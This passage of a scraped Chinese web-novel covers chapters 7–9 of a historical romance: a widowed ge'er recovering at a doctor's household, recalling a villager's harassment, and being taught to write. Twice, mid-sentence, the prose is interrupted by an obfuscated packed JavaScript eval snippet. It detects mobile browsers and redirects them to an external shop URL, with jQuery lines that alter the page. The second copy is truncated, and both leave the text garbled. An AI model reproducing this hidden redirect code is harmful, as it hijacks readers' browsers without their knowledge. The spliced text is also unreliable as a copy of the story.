永宁城里确有个大户柳家,只是这柳家近日从未遣人来过医馆。雷檀不常在外面走动,不知这深宅大院中的情形。柳老爷膝下有两位公子和一个小哥儿,不曾有过女儿,柳家并无小姐。雷铤这副方子,原本就是要用于他处的。 7. 养病的日子 邬秋在床上躺了整整五日。 他本急着想去见见杨姝的。虽然崔南山每日都来给他讲讲杨姝的病情,但邬秋还是不放心,只想亲眼见一见、亲身在身边服侍。可他自己的病也未痊愈,发热持续两天方才退下去。崔南山说虽是夏日,又只在院里,但还是怕他体弱受了风,惹得病势复萌,故此又让他在房中将养,连每日的饭菜都是做好了亲自送来。邬秋心里再急,也只得乖乖听话,这才一连五日都没有出过房门。 第五日天色将晚,残阳如火之时,崔南山又敲门进来。他照例揉揉邬秋的头发,问他休息如何,一边打开食盒端出一碗面,坐在床边看他吃,顺便陪他说说话。邬秋趁机央告:“我觉着身上已经好了许多,郎君便让我出去走走吧,我只去看看我娘,也不会在外面贪玩。” 崔南山还不放心,又替他把了把脉,这才应允:“也好,如今你的烧也退了,出去透透气也是好事。只是天晚了夜里还是有风,要早些回来休息才是。” 邬秋高兴极了,他最近脸上也有了血色,不再像之前那样苍白,一笑起来脸颊更显红润。崔南山见他这样,自己也跟着笑了:“当日原该让你们母子住在一处的,只是家里空闲的这两间房实在不够宽敞,又来不及腾房,只得先这样凑合让你们住下了。难为你的孝心,等你母亲的病好全了,再给你们换间大些的屋子住着。” 他像是预料到邬秋会说什么,又忙补了一句:“可不许再道谢了,再说便是生分了。” 邬秋的脸更红了。 吃罢饭,崔南山带了碗碟先一步走了。邬秋却没急着出门,先将自己头发重新梳理好,显得人更精神,也免得惹杨姝担心,这才出了屋门。除了第一天来的时候,邬秋还没在医馆院中逛过,正担心找不到杨姝的屋子,结果刚一出房门,竟碰上雷铤正站在院里。 邬秋住的原是一间耳房。这间房在院子的东北角,屋前靠院墙的空地上留出一块地方没有铺设石砖,种了几株植物,看着不像寻常花草,也不像蔬果谷物,邬秋估摸着许是什么药材。雷铤站在旁边,地上有个水桶,应该是刚来浇过水。 雷铤回头看着他点点头:“秋哥儿。” 寻常在家,自然不必行什么大礼,不过邬秋习惯了,还是略俯首屈膝:“雷大哥安好。” 雷铤问他身上可好些了,邬秋回说已经好多了,所以崔南山准他出来走走,末了想起正好可以问问雷铤杨姝歇在何处,忙又开口问:“我正想着去看看我娘,但不知道她住在哪间房里?崔郎君给我指了个方向,我怕走不明白,误打误撞进了旁人的屋子,倒是失礼了。” 雷铤一笑:“这有何难,我带你过去便是了。” 医馆西厢小院原本是雷栎和雷檀两兄弟住着,还有一间空房堆了些杂物,杨姝和邬秋来之后,就将这间房收拾了出来。又想着雷檀雷栎虽然年纪不大,但毕竟是男子,邬秋又是个年轻哥儿,同住在一处倒彼此拘束。杨姝是长辈,与两个孩子住在一处也没什么不妥,因此让杨姝在这里住了。 雷铤领着邬秋过来,屋里点着灯,还听见说话之声。雷铤解释道:“大概是刘娘子才送了饭过来还没走,你进去便是了。”自己却在外面站住。邬秋道一声谢,急忙去叩门:“娘,我来瞧您了。” 开门的是个面相和善的妇人,约有四十来岁。邬秋认出这是雷家的下人刘娘子,先前来替他送过饭和药的。刘娘子一把拉住他:“你怎的来了,快进来,别着了凉,你娘正惦记着你呢。” 邬秋一面答应着进门,一面回头看了看。雷铤还站在后面,向他微微颔首,示意他快进去。 杨姝和邬秋见面,两人都忍不住落下泪来,连刘娘子也在旁边跟着拭泪。邬秋见她娘虽然消瘦,但精神尚好,病好了许多,一时喜不自胜。他来之前刘娘子刚服侍杨姝吃了饭,邬秋急忙倒了漱口水过来。杨姝拉着他问长问短,知道邬秋病已大好了,这才勉强放心。两人又说了好一会儿话,把这几日的情形讲个清楚。后来还是天色太晚,刘娘子说杨姝得早些休息,邬秋的病刚好,也该回去歇了,邬秋这才起身去了。刘娘子要给他点个灯笼,邬秋倒先笑了:“不必麻烦,今夜天晴,月光该很亮的。何况横竖又不远走,不过都在这院里罢了,我走走逛逛也就回去了。” 他说着迈出了房门,刘娘子跟着送出来。雷栎雷檀正在院子里乘凉,让邬秋有点意外的是雷铤竟也没走,在院中站着同两个弟弟说话。看见他出来,雷栎雷檀都围上来打招呼,邬秋便和他们寒暄几句。他自己也不敢在外面多逗留,怕受了风寒,回头又给雷铤他们添麻烦,说了几句话便告辞要回去。雷铤从后面过来:“天不早了,我与你一道去,免得天黑不便。” 雷铤说完,顺手端过了桌上的烛台。邬秋原想推辞说不用,又不愿拂了他的好意,便应了,两个人一起从西厢院中出来。 今夜的月的确清亮如水,银光泻地。雷铤一身月白色长袍,上有银丝绣祥云暗纹,被月光一照,长身玉立,竟似熠熠生辉。而他手中端着烛台,烛光只照亮了他的半边脸,从侧面看,愈发显得鼻若悬胆,潇洒俊秀。邬秋偷眼看他,心里感叹原来世上真有这样好人物,一表人才,还如此善良热心。如此一想,就更觉得自己不能白白在这里住着,也该尽力报答,于是对雷铤说:“现下我的病已经好了许多,只是我娘身体未愈,恐怕还需叨扰些时日。有什么家里能做到杂活,我自当全力相助。我什么都能做的。” 雷铤垂眸看他:“这断使不得,你是客,哪有让客人做工的道理。” 邬秋虽然多披了一件衣服,但现在毕竟是夏日,衣服轻薄,轻易就看得出他的消瘦身形。这或许是雷铤第一次如此认真去看他的脸,眉若翠羽,一双丹凤眼中秋波盈盈,目中却并无半点委屈神色,反倒是十分坚毅,薄唇紧紧抿了半晌方才叹了口气:“好歹让我做些什么,住着才心安。” 医馆院子不大,说话间就已经到了邬秋房门口。两个人一起站住,雷铤指了指旁边的正屋道:“我爹和阿爹在这间房里住着,”他又指了指靠着耳房一侧的一道小门:“我住在这里东厢院,你若有什么事,直接去找他们,或是来找我就是了,不必客气。” 他顿了顿,没有立刻接着说下去。邬秋倔强地等他同意让自己干点杂事,也不肯率先开口顺着将话题移开。院子里一时间只能听到草虫鸣声不断。两人刚一对视,又各自将视线移开,一起望向天上的圆月。 快到六月十五了,月光越发明亮。 雷铤继续说下去,但是这次他的声音很轻:“若是夜里身上哪里不爽快,一定要告诉人,别自己忍着。” 邬秋点头:“是,我记着了。” 他那双眼睛实在动人心魄,饶是雷铤,也再说不出拒绝的话:“罢了。你再歇两日,若是病好了,我带你到前头去帮帮忙吧。” 邬秋原想着做些家里的活计,帮着洗洗衣服做做饭什么的,并没有打算叫雷铤带他去前面帮忙给病人治病,忙道:“我不通医术,又不能识文断字,恐怕帮不上你们看病,我在后头就行。” 雷铤上前一步,把手里的烛台递给他:“无妨,来帮助打打下手就行。这两日他们出诊的时候多,病人也多,人少了忙不过来。家中也没有多少活计,有刘娘子照看你母亲,也不必担心的。” 邬秋不知道雷铤忽然给他烛台做什么,但还是接了,冲着他一笑,眼睛弯起来:“既如此,我尽力学着做就是了。” 转天邬 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直至黄昏时分,雷迅才带着雷栎雷檀回来。崔南山和邬秋点了艾草,在门口给他们周身熏过,这才让他们进来。两个孩子都累了,就连雷檀的话都少了,直嚷着肚子饿,跑到后面帮刘娘子摆饭去了。雷迅还在前头,崔南山放下手里的艾枝:“这样便好了,防着外头起了疫病。你出去一天也饿了,我叫刘娘子炒了你爱吃的菜,快去洗了手吃饭吧。” 雷迅从背后轻轻贴过来,一手搭在崔南山腰上:“刚瞧你脸色不大好,可是这两日太累了?明日叫药铺那里来几个伙计帮忙吧。” 崔南山顺势靠在他怀里:“他们家统共也就那几个人,这两日不也一样是忙昏了头。我们这样还好,能应付得来。小秋今日也来帮忙,顶了不少事呢。” 雷迅点头:“也罢,我这几日也出去物色着,有得力的便再招两个人进来,你们也好别这么劳累。你叫铤儿多做点就是了,你别太勉强了自己。腰可还疼吗?吃了饭我再帮你看看。” 崔南山笑着转身,趴在雷迅肩上小声说了两句什么,居然连雷迅也跟着笑了,低头在崔南山脸上亲了一下。 这时候邬秋还在旁边煎药的小间里收拾盆碗,正好能从门侧看到雷迅和崔南山站在一处。他与雷迅接触很少,只说过几句话。印象里,雷迅总是看着很严肃的样子,有点沉默寡言。不过看崔南山和雷铤那样和善,两个小的特别是雷檀又格外活泼,也能猜到雷迅应该只是话少些,倒不是那种严苛治家的严父。只不过见到这样的情形,还是会忍不住惊讶,原来雷迅也有这样的一面。 雷铤不知道什么时候进来,帮邬秋把剩下的东西收好。他顺着邬秋的视线看过去,知道邬秋有感于雷迅和崔南山的反差,笑道:“他们一直都这样,多住几日就知道了。” 邬秋这段时间与雷铤熟悉了不少,说话也不再那么拘谨,但还是放轻了声音,怕惊扰了雷迅他们:“先前我还有点怕你父亲,觉得他不苟言笑,定是很严厉的。今日一看,原来也并非那样。” 雷铤配合着他,也将嗓音压低:“他只是不大爱说话,人却很好,你不必怕他。” 他像是想起什么,难得有了些打趣开玩笑的兴致:“那么我呢?秋哥儿可也会怕我么?” 邬秋两手托着脸看着雷铤,眼里笑意浓浓:“不怕。” 雷铤还来不及说话,雷迅他们从门前路过,崔南山这才看见他俩还在这里,忙道:“快别忙着弄了,先吃饭去吧,等下要凉了。” 两人连连应声,起身跟着一起往院子里去了。夏日天气炎热,便尝尝在院中摆一桌饭,一家人在外头围坐在一起吃饭。雷铤和邬秋方才的话没有说完,但似乎已经失了继续说下去的时机。直到坐到桌前,也没有找到合适的话头再开口。 8. 又见老仇人 距邬秋母子到医馆住下,已经又过去了半个多月。 现在病人多,医馆忙碌,一家人自是不能贪睡,天刚刚亮就各自起床,连杨姝也起来,与大家同坐一桌。这些日子杨姝的病已经好了许多,能下得了地。她闲不住,就帮着刘娘子做点家里的针线活。崔南山劝了好几次,叫她不要太过劳神,可也劝不住,只得由她去了,另外叮嘱刘娘子看着她,不可做得太久。 雷栎雷檀年纪小,困得哈欠连天。雷檀更甚,简直左摇右晃往旁边倒,大家都看着他笑。崔南山有点心疼了,推了推雷迅的胳膊:“今日叫两个小的在家里吧?人少的时候还能去睡一觉。” 雷迅看了看,雷栎雷檀一个二个打哈欠都打出眼泪来,也心软了:“也好,他们连着出去几天了,若是太劳累,也容易染病。” 雷铤点头称是:“外面什么人都有,乱得很,哥儿女子出去恐有不便,今日还是我同您一起出城问诊吧。叫阿爹和栎儿檀儿留下,有秋哥儿帮忙,也能应付得来。” 崔南山与雷迅成亲之后,一直跟着雷迅行医,勤加修习医术,人又聪明,现在也算在方圆百里排得上号的郎中。雷栎雷檀虽然年纪尚小,但打小帮着家里行医,应对一些小病也不成问题。雷栎志不在此,想读书参加科举考取功名,不过也通医术,雷檀虽只有十一岁,却有志于做个治病救人的郎中,苦修医道,两个人都可以算医馆的“得力干将”。今日是最后一天去城外诊治灾民,过后便可以在医馆三四天,崔南山觉得带着两个孩子应付一天也不勉强,就点头同意:“好,那你们也顾着点自己,我煮了绿豆莲子汤,给你们带着。正午日头毒辣,要勤着喝些” 邬秋拿了东西,送他们出门。雷铤在门口站住,接了他递来的包袱:“快进去吧,早晨风大,别站在门口吹了风。” 邬秋嗯了一声:“你们也注意休息,可别受了暑气……早些回来。” 雷铤点了点头,看着邬秋进了门,却没立刻回去,站在门口扒着门框眨着眼看他。这让他竟产生一种被牵挂的滋味——有一个不同于父母亲族的人同样热切地盼自己平安归来。 他忽然想,如果今日不用出去,那么该是怎样的情形,会和邬秋说些什么,做些什么呢? 雷铤也没想到,走的时候好好的,回来就变了样。 傍晚时分,雷迅和雷铤从城外回来。医馆里还有两个病人,一个已经瞧好了病,在等崔南山开方子,雷栎正在给另一个诊脉。雷迅去看着雷栎问诊,雷铤环顾四周,却没看见邬秋的身影。 雷檀冷不丁不知从哪儿冒出来:“找谁呢?” 雷铤低头,看见这小子一副意味深长又饶有兴趣的神情。他还没答话,雷檀就继续说了下去:“找秋哥哥?秋哥哥下午不知怎么了,我瞧着他像是心情不大好,后面一直在旁边煎药整理药材,没再出来过。” 雷铤眉头一皱:“胡闹。他可是身体不适?怎么不让他回去休息。” 雷檀急忙摆手道:“我何曾没劝过?他说没事,我给他把了脉,也确实是无碍。秋哥哥只说要去帮着煎药就进去了,是我私自揣度着,觉得他像有些苦恼的样子。我怕我继续问倒惹得他烦闷,正好大哥你回来了,不如你去看看。” 他说罢又露出个神神秘秘的笑容:“或许你们年纪相差小,你更懂他呢。” 雷铤叹了口气,打发雷檀去帮崔南山,自己掀了隔壁小屋的帘子进来。邬秋果然在里面,坐在一张矮凳上出神,听见声音才忙回头看,见是雷铤,表情有一瞬的欣喜:“你回来了,方才我倒没听见,不然可要出门迎你呢。” 雷铤笑了笑,拉过椅子在旁边坐下:“我在这看着就行,这屋里闷热,你出去透透气吧。” 邬秋起身拿东西,摇摇头道:“没事,最后一剂药了。大哥在外面忙了一天,还不快去喝两杯茶歇歇,这里哪需要两个人盯着。” 他的神色并无什么明显的异样,但雷铤总觉得有什么不对。他记得早上出门邬秋在门口目送他时眼里的神采。那双这一天里他常常失神回想起的晶亮的眼睛,此刻却没了光彩,虽然也在笑,但雷铤就是觉得有哪里不一样了。 他想了想,沉声问道:“今日可还顺利吗?” 邬秋笑道:“自然。崔郎君的医术你还不放心吗?” 这会儿邬秋站着而雷铤坐着,雷铤仰视着邬秋的眼睛,一种无力感从心底萌发。邬秋的眼睛像会说话,明明白白诉说着他心绪不宁,可雷铤却无法刨根问底。说到底,他只是为邬秋看病的郎中,便是现在邬秋寄宿在此,也不过是个供给房子的主家,又如何能要他把心里话剖出来。 这间房主要就是做熬药用,屋子小,不大通风,又生着火,在夏日属实有些闷热。 其实雷铤的心思,邬秋也是明白的。 雷铤平日里不会耍贫嘴,他说出来的话必有他的缘故。从他问今日是否顺利时,邬秋就知道他大概觉察了什么。可今日之事,与雷家没有半分关系,更与雷铤无关,邬秋实在不知如何开口。 他怕说了会惹麻烦,更怕说出来会让雷铤厌弃。 邬秋的烦恼,说起来却不是今日才有,祸根早已埋下多年。当日他嫁到薛家村,还未过门薛安就意外离世,村里便有流言,说他命中克亲,克死了双亲和没成亲的丈夫。但邬秋性子温和,又极宽厚孝顺,在薛家村生活一两年后,大部分乡亲也不再提及这些流言,相反还可怜他们孤儿寡母,对他和杨姝多有照顾。因此若论起对薛家村乡邻们的印象,邬秋对多数人还怀有感激之情。 可凡事总有例外。薛家村里就有一人,邬秋唯恐避之不及。此人名叫薛虎,比邬秋小个四五岁。村里人一直觉得薛虎一家是正经人家,薛虎也是个有些木讷的老实孩子,邬秋一开始也没想过会与他结怨。后来过了几年,薛虎长大些,渐通人事,快要到了娶妻的年纪。他家中父母忙着给他挑好人家,他自己却状似毫不着急,一副还未开窍的样子。 那一日邬秋在村外河边洗衣服。周围全是来洗衣洗菜的夫郎娘子,大家也多不拘束。邬秋为着洗衣服方便,也将衣袖稍稍挽起,露出一小截雪白匀称的小臂。就这一双胳膊,正被薛虎瞧见。薛虎自此就惦记上了邬秋,几次三番搭话骚扰。 但薛虎给乡亲们的印象一直是老实憨厚,有点呆傻的样子。没有人会相信他真的有胆子调戏一个寡夫哥儿,邬秋起初想与旁人说说,就找了个邻家的夫郎随口聊天,问他信不信薛虎会去纠缠别人家的哥儿或女子。邻家夫郎也没在意,顺口就说虎子那么老实的孩子,要是这样定是被勾引了去的:“要我说,苍蝇不叮无缝蛋,总归是那个人自己也不干不净,不然怎么虎子不去找别人呢?秋哥儿,怎的忽然说这个,莫非是你看见了什么?” 邬秋吓得嘴唇都白了,忙忙否认:“何曾看见什么,不过说着玩罢了。” 邬秋家中只有婆婆杨姝一人,真闹出事来除了她没人能给他撑腰,也不知道有谁能真的向着他。邻居夫郎这轻飘飘的一句话,竟断送了邬秋的全部勇气。他从没想过,发生这样的事竟然连他自己也有错。 可他明明只是去河边洗了几件衣服,明明穿着齐整,只是怕水弄湿衣袖,明明在场的哥儿娘子人人挽着袖子。邬秋怎么也想不明白自己错在何处,可人家这样说了,人言可畏,他哪有那样多精力没完没了纠缠在村里人的口舌是非里。 邬秋的性子虽不至于太怯懦,虽然他心底里很坚强,不会向生活磋磨折腰,但在待人接物方面,他总是希望少生事端,能忍一时换风平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091740|195453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浪静,则绝不暴起反抗。也正因如此,薛虎愈发得寸进尺,瞧准了邬秋不敢张扬,时不时想起来便要想办法接近。起初只是拦着邬秋要说话,邬秋严词拒绝,他又到处传邬秋待人不讲情面。后来两年胆子更大些,竟敢拉扯邬秋的衣裳。那次邬秋气急了,打了他两个耳光,他竟也怕了,老实了一段时间,却又故态复萌。 薛虎对邬秋说,反正你已是寡夫郎,来伺候我一回,横竖你家的汉子也找不上门来。 但薛虎也知道真要逼急了邬秋敢同他拼命,又有所忌惮。就这样拖拖拉拉又过了两年。邬秋出门都要躲着他,有时候夜里想起,想找个法子解决,又会惦记村里人的议论,甚至想若走投无路便一死了之,却又担心杨姝无人照料。杨姝待他如待亲生的哥儿,尽她所能体贴疼爱备至,邬秋也不想为这样的事惹得杨姝烦心,故此唯有暗自垂泪而已。 过去一个月从发大水到落难到雷家医馆,邬秋根本无暇再想起此人,直到今日。午后人少,大家都坐在前厅的堂屋里,这里通风好,也能凉快些。雷栎在旁边案上读书,雷檀贪睡,伏在崔南山膝上打瞌睡,崔南山给他打着扇,同邬秋说些闲话。 正这时,邬秋不经意往门外一瞥,隐隐约约看见医馆外面站着一人。邬秋甚至来不及看清他的面容,光是看见那身形,便似五雷轰顶,如坠冰窟。不会错,外面站的人正是薛虎。 他不知道薛虎怎么会出现在这里,也来不及多想,只是立刻就想避开,推说要去烧些热水来便匆匆走了。薛虎为什么在永宁城?他瞧见自己了吗?还会继续纠缠吗? 邬秋想告诉雷铤,可这个念头在他心里转了个圈,又硬生生止住。自己住在这里,已是雷家大发善心,是自己的运气。一场大水灾民百万,雷铤纵有心也无力,这些日子医馆义诊不断,还为了官府赈灾捐了不少钱财,可毕竟不能将每个落难者都救回医馆,邬秋想,若不是老天垂怜,大约他们母子也不能正巧被雷家救了性命。由他开了例,就有更多人想让雷家救助,外头自然少不得议论。邬秋虽尽力做活帮忙打杂,却仍觉得不能弥补自家带来的麻烦。 现在,他惊觉自己在这半个多月中已对雷铤产生了一丝依赖。雷铤平日一贯是讲理的,连邬秋自己都没察觉,他正打心底里盼望雷铤能告诉他这一切并非他的过失、他没有行为不检点,他是冤枉的。 可雷铤真的坐在他身边时,他又失了开口的勇气,默默站在一旁,也不敢看雷铤的眼睛。 药煎好了,发出轻微的咕噜声,打破了两人之间略有些尴尬的气氛。邬秋趁机将话题转开:“可是熬好了,也该给崔郎君送去。” 雷铤点点头,也起来帮他,犹豫了片刻,还是开口道:“你不愿说,我也不会勉强。只是你既住在这里,又叫我一声大哥,我待你自然如亲兄弟一般,要是遇到了什么难处,尽管告诉我就好,我来处理便是了。” 邬秋含笑应了,又宽慰雷铤莫要多想。两人这才出去将药送了。 这一日再无他话,雷铤也没再提起先前的事。 夏日天黑得迟些,今日天晴,晚上也并未黑得伸手不见五指。邬秋就在杨姝房里多说了两句话,等出来时,依旧看得清院里的路。晚间的凉风抚平了他心里的不安,邬秋深吸了一口气,觉得舒泰了不少。 正这时,他看见前厅旁边那间书房的格窗透出灯光,不禁心里纳闷,雷栎这时候也该回房去了,雷迅和崔南山一向歇得早,况且他们房里就有间小书房,应该也不会到外头书房来,雷铤的东厢院里专有一间是他的书房,也不必到这里,一时竟想不到是谁深夜还在,便顺着灯光过去。 邬秋走到跟前,才看到书房并没关门,也没有放下门帘。桌前坐着一人,正执笔写着什么,可不正是雷铤! 9. 拜师学写字 邬秋轻手轻脚靠向书房,见是雷铤在屋内坐着,又怕扰了他做正事,便悄悄地想退回去。不料雷铤已经有所察觉,从书案上抬起头来,见是邬秋,便笑道:“怎么站在那里,进来坐吧。” 邬秋笑道:“原是在院里走走,看见这里亮着灯,正纳闷是谁,就过来瞧瞧。大哥若有事,我便不进来打扰了。” 雷铤将笔搁下,起身另取了一个小瓷杯来:“哪有什么正事,不过闲着打发打发时间罢了。这是我今日取了梨汁和鲜藕汁调在一起,又用井水镇过的。这段时日你的脾胃调养得差不多,少吃些凉的也无碍,你尝尝,若是喜欢,明日再多弄些给你送去。” 他既然这样说,邬秋也不再推辞,进来也在桌旁坐下,捧起杯子抿了一口:“果然清凉爽口!又有瓜果香气,又有甜滋味,可以到店里去卖了。” 雷铤微微一笑:“不过随手调来喝的,秋哥儿又打趣我了。” 邬秋也笑了,因为刚喝了蜜饮,他的双唇晶亮,在烛光下更显水润。他自己却浑然不知,也没注意雷铤在看他,而是被桌上的东西吸引了注意。 这间书房就是邬秋初来医馆时雷铤见他的地方,不过那时房内无人,不像现在一般充斥着一股墨香。邬秋没读过书,未曾碰过笔砚,也很少见人家写字,故此好奇道:“这屋内今日有股特别的香气,倒像是从这些字纸里发出来的。” 雷铤想了想,将砚边的墨条拿起来,递到邬秋眼前:“可是这股味道?” 邬秋就着雷铤的手深吸了两口气,果真是从未闻到过的异香:“是了,正是这股香气!这究竟是什么味道,闻着也不像寻常卖的香囊之类,倒有种素雅的感觉。” 雷铤见他伏在自己手边,全神贯注闻嗅的样子,只觉得心尖发软,再开口时说话声音也情不自禁放轻了:“这是墨条,制取的时候加了冰片之类的香料,要写字时,就用些清水兑着研磨开,就成了墨汁。” 他说着,另从桌边取了方干净砚台,用一只三足小水盂向砚内滴了些水,给邬秋演示起如何研墨来。 邬秋看得专注,目光随着墨条在砚台里慢慢打圈儿。墨条的香气愈发散出来,邬秋恍然大悟道:“原来人家说‘书香门第’,若用这样的墨来写字,那书自然是香的了。” 雷铤点点头:“也对,也不全对。下次我带你到我的书房去,揭开那存书的箱子,闻闻为防虫放的药草,你便知道真正的‘书香’了。不过,能想到这层意思,秋哥儿很聪明。” 他这话说得纯粹,不带一丝取笑的意思。邬秋倒有点不好意思,轻轻摸了摸自己的脸,试探脸上是否因为这句夸奖而发烫。两人的视线相撞,一触即分,立刻又各自扭头。雷铤依旧看着手中的墨条,邬秋则略低了头。墨条摩擦石砚,发出极轻微的沙沙声,这声音忽然衬出夜晚的静。邬秋后知后觉地想,原来已经这么晚了,他与雷铤还共处一室,会不会不大好。可他又偷偷抬眼看了看,雷铤竟微微侧目,似乎也在看他。 一句要告辞的话便再说不出来。 磨墨本需静心,力度、姿势都有讲究,磨出的墨才能不粗不浮。但雷铤不知是否心不在焉,动作稍重了些,腕上溅了几星碎墨。他自己没太在意,将墨条轻轻搁在一旁,邬秋却看了个清楚,不自觉拿了自己的帕子,替他擦去。 雷铤胳膊一僵,但坐着没动,也没开口说话。邬秋抓着他手腕的手指在发颤,雷铤的体温从他指尖传来,局促之中,他甚至错以为自己感受到了那腕下跳动的脉搏。明明只是一点未干的墨,他不敢用力,擦了好几下才擦净。待到擦拭完毕,他已脸红得不敢抬头,正欲缩回手,岂料雷铤忽然一翻腕子,牵住了他手帕的一端。 这下两人各执帕子的一角,却谁也不说话。邬秋知道雷铤在盯着他看,只觉得心跳如雷,强迫自己也抬起头来,两人离得很近,他看到雷铤眼中满是自己的身影。这样对坐实在失态,邬秋正绞尽脑汁想着说些什么将此事岔开,雷铤却率先开口:“多谢你,只是可惜你这雪白的帕子,如今倒添上墨痕了。” 他只说话,可并未松手。这手帕原是邬秋自己用的,一方相当朴素的白色,只用青绿的丝线在边上勾了圈样式简单的纹样。现在白色上增了一抹浓淡不一的黑,确有几分突兀。 这间书房里的桌案靠着一侧的墙,雷铤坐在中间,邬秋的位子靠他右手边,是临时加的一张椅子。而他牵着帕子的是左手,稍微用点力,不似抢夺,倒是循循善诱般的引导,引得邬秋又往他身边靠近了些,两人的身子几乎要碰到一起。 邬秋的脸还在红,小声说道:“这有什么关系,墨又不脏。” 他说到这里,忽然想起其他事,露出一点笑:“我们村里过去有户人家,送儿子进隔壁村子的私塾去。那孩子顽皮得很,总不肯好好读书。有一回我碰见他,脸上手上涂得满是墨汁,一路往家里跑,再一看,他爹在后面提着竹条追。我那时想这孩子怎么弄得这样脏,今天才知道这墨竟是这样香,这样雅致的东西,并不是脏的。如今想来,倒是那孩子糟蹋东西了。有这样的机会能进学堂,还不懂得好好读书呢。” 雷铤看着邬秋笑,自己也跟着情不自禁微笑:“小孩子淘气也是有的。况且也不是每个人都一定要读书,只管找自己适合做什么去做就是了。” 他早看到邬秋提及读书时眼里流露出羡慕之意,便紧跟着问道:“秋哥儿想学读书写字么?” 邬秋叹一口气:“我一个哥儿,又不考功名去,哪读的什么书呢。正经学些家里的活计也就罢了。” 雷铤却不同意这话:“过去你要顾着家里,自然没工夫学这些。如今既到了我这里,横竖也没有别的事,你若是想学,我来教你,岂不方便。” 邬秋两眼晶亮,连眼角的红痣都随着他抬眼的动作一动,又怕雷铤是拿话哄他,说话也不敢将话说实了,小心翼翼问道:“可是、可是我是个哥儿,也能学写字吗?你又这么忙……” 雷铤笑着摇摇头:“不管是男子,哥儿,还是女子,只要自己想学,就都是一样的。这几日医馆虽然病人多了些,也不是时时刻刻不得闲的。再说日后这场水灾过去了,医馆便是我们几人轮值,休沐的日子也多。” 邬秋却被他说得触动心事。日后么……雷铤会希望他继续留在这里吗? 桌上的油灯需要剪剪灯花,已经没有那么亮了。 雷铤继续说道:“你若是真心想读书,我自然也是要真心教你的。” 邬秋当然是想学的。他自小就羡慕村里能进学堂的孩子,可他爹死后,家里的日子全靠他娘做活维持,哪有余钱送他去读书。此时见雷铤真不是说笑,自然也很欢喜:“若真如此,我要拜大哥为师了,大哥可不许反悔。” 他满脸都像写着期待。邬秋马上也要二十七岁了,早已不是小孩子,若他丈夫在世,他或许已经是好几个孩子的阿爹了。可雷铤此刻就是觉得他眼波闪动、仰着脸望着自己的样子实在可爱极了,忍不住起了点逗他的心思,将那手帕子从邬秋手里抽出来,笼在自己袖中:“既这样,那这条帕子就当作是秋哥儿的束脩之礼吧。” 邬秋好容易脸上红晕退了些,被他这样一说,立刻又似有一朵红云滚上脸颊,可心底里又隐隐有点羞涩的甜意,再开口时,虽然话像有嗔怪的意思,语气却是愉快的:“我可就这一条帕子,你……先生收了我的手帕,叫我用什么呢?” 雷铤伸手向怀中掏出自己的手帕来,是条苔绿色的巾子,带着他身上惯有的那股药香。他将这条手巾叠好放在桌上,轻轻向邬秋推过去。邬秋没说话,却也没犹豫,默默接了,也揣在自己怀里。 雷铤看他收了,心里也跟着松快下来。 因为没有沏茶,邬秋便拿那蜜饮代替,斟了一杯奉与雷铤,算是全了拜师之礼。二人重新落座之后,邬秋才想自己进来前的疑问,忙问:“大哥怎么这么晚还在这里?” 雷铤正理着桌上的字纸,邬秋虽不认识上面的字,但也觉得那些字很好看,凑近了看着,雷铤就一张张放在邬秋手边,叫他自己拿着看,一边回答他的话:“原是来找本书的,既来了,就趁便在这里稍坐片刻。” 邬秋有点疑惑,因为雷铤平时很少给他自己花太多心思,今日不单亲自用两种蔬果汁子调了蜜饮,还特意用新打的井水冰过,甚至连椅子都多摆了一张在桌前。不过他没再多话,全被那些写满字的纸吸引了去,小心地捧着看:“真好看,若我好好学,日后也能写得这样好吗?” 雷铤点点头:“这是自然,不出三五年,你也能写一手好字的。” 邬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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偏偏雷铤又在这些日子的相处中同他日渐亲近,邬秋回想着二人相处的种种过往,想起雷铤牵着他帕子的一角,同他挨坐在一起说着话儿,心里一时又是羞涩,又是甜,又是痛,激得他泪流的更多。 比单相思更令他心痛的,正是雷铤也在小心试探。 那天晚上,邬秋做了个梦,梦见雷铤在教他写字,从背后抱着他,握着他的手,一笔一画写下几个字。他问雷铤这是什么字,雷铤在他耳边说,这是我们两人的名字。他笑了,说这像个什么样子。雷铤说,我娶了你,我们的婚书就会是这样,到时我们也要将名字这样写在一起。 邬秋醒来的时候眼睛还肿着,忙去打了井水,用凉水浸透了帕子给自己敷着,这才勉强好些。他有点怕雷铤看出来,吃早饭时都不自在地低着头。 吃过早饭,雷铤忽然叫住他,让他跟着去了那间小书房,端出一碗药来,药里浸着一块棉布。 邬秋忙问:“这是什么药?” 雷铤伸手进去,将那布条拧得半干,斟酌着答道:“读书最容易伤眼的,这药晾到温热时敷在眼上,有好处的。” 邬秋低了头——他还是瞧出来了。 雷铤没有把那沾了药的棉布递给他,而是自己走上前一步:“闭眼。” 邬秋乖乖闭了眼睛,仰起脸来,由着雷铤替他弄了。隔着一块布,雷铤的手并没有碰到他的脸,但邬秋还是心跳得厉害,支支吾吾说:“到底是伏天儿,这屋里可真够热的。” 他闭着眼敷药,只能听到雷铤在他身边低低笑了两声,应道:“是。秋哥儿热得脸都红了,可要注意着防暑啊。” 